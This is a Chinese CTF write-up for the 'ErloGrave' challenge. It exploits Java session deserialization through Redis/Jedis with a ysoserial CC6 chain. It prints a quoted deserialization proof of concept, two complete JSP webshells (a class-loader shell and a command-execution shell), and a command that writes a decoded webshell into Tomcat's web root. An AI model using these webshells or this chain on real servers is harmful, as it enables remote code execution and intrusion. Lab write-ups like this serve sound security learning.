ErloGrave 复现


菜!又被das暴打了

启动环境

题目附件提供了docker环境,直接利用:

1
docker compose up -d

一键搭建docker就可以了,如果中间java的docker没有下载好,可以先单独下载下来。

docker启动后就可以访问index.jsp来到我们的登录页了。

源码怎么说

看了源码发现他的登录逻辑是直接被写死了,只能够通过下面这个账号密码登录:

1
2
wwj
20240326

无论登录成功还是失败,都会调用CacheUtil.setWithExpiry。看看他是个什么函数:

1
2
3
4
5
public static void setWithExpiry(byte[] key, byte[] value, int seconds) {
try (Jedis jedis = getJedis()) {
jedis.setex(key, seconds, value);
}
}

乍一看居然是jedisjedis其实就是redis的java版本,又由于题目的源码只有一个loginServlet和一个CacheUtil,登录成功后往redis写信息,就这么简单的逻辑,哪里有洞呢?

Jedis

现在看来基本上也只能够锁定jedis了。搜一下java redis漏洞,找到了浅蓝师傅的文章。文章里提到了java反序列化,但是他给出的代码显然和我们题目的写法是有出入的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package cn.b1ue.redis.unserialize;

import redis.clients.jedis.Jedis;

import java.io.*;

/**
* @author 浅蓝
* @email blue@ixsec.org
* @since 2020/4/3 16:18
*/
public class JDK {

public static void main(String[] args) throws IOException, ClassNotFoundException {

FileInputStream fileInputStream = new FileInputStream("src/main/java/cn/b1ue/redis/unserialize/beanutils_calc.ser");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buffer = new byte[128];
int iLength = 0;
while((iLength = fileInputStream.read(buffer)) != -1) {
baos.write(buffer, 0, iLength);
}

byte[] bytes = baos.toByteArray();

//////////////////////////////////////

Jedis jedis = new Jedis("192.168.91.147", 6379);
jedis.set("x".getBytes(),bytes);

byte[] badbyte = jedis.get("x".getBytes());

ByteArrayInputStream stream = new ByteArrayInputStream(badbyte);
ObjectInputStream objectInputStream = new ObjectInputStream(stream);
Object o = objectInputStream.readObject();

jedis.close();

}

}

我们仅仅只调用了setex,并不能造成上述的反序列化漏洞。那现在我们能做什么呢?线索到这里似乎是断了。

Session反序列化

从Y4er师傅的文章里找到了一点蛛丝马迹:

拓展下攻击面,比如redis,这里@l1nk3r师傅公开了另一种使用redis的反序列化场景,问题出现在RedisSession类中,原理和9484差不多,id从jsessionid获取,value是反序列化数据,配合redis任意写入value来触发反序列化。

但是很可惜,l1nk3r师傅的博客已经关站跑路了,所以没得看具体的细节,只能够看这寥寥数行文字来进行攻击了。

简单地说就是需要通过jsessionid来获取到我们对应的id(key),这个时候会读取到它具体的value,从而进行反序列化。由于登录的时候会对我们的数据进行base64decode,所以我们可以直接往redis写入任意反序列化数据。

看了一眼lib,发现了一个cc依赖:

想到可以打cc链进去配合session反序列化数据。因为是cc依赖,所以直接用ysoserial生成就可以了。考虑出网的话可以尝试反弹shell,如果不出网的话就打一个jsp马就好了。

尝试cc6+反弹shell。这里要注意一下逻辑,我们往redis写的key是:

1
2
如果登录成功: success::username
登录失败: fail::username

value是:

1
password的值

简单地说就是往password里写入反序列化数据,然后将jsessionid改成key的值即可触发session反序列化

现在登录:

必定登录会失败的,因此redis里的key写入的就是fail::Err0r233

将jsession修改一下然后重发,shell就弹过来了。

不出网的时候打一个jsp webshell到web目录就可以了:

web目录一般在:

1
${tomcatpath}/webapps/ROOT/

jsp webshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}

public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("Qst");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>

<%


Runtime runtime = Runtime.getRuntime();


//Process process = runtime.exec("whoami");
Process process = runtime.exec(request.getParameter("cmd"));


InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));


String line;
while ((line = reader.readLine()) != null) {
out.println(line + "<br>");
}

%>

将其b64加密后,写进cc6的命令里就可以了:

1
echo "xxx" | base64 -d > /usr/local/tomcat/webapps/ROOT/shell.jsp

重复上面的操作即可打jsp webshell进去。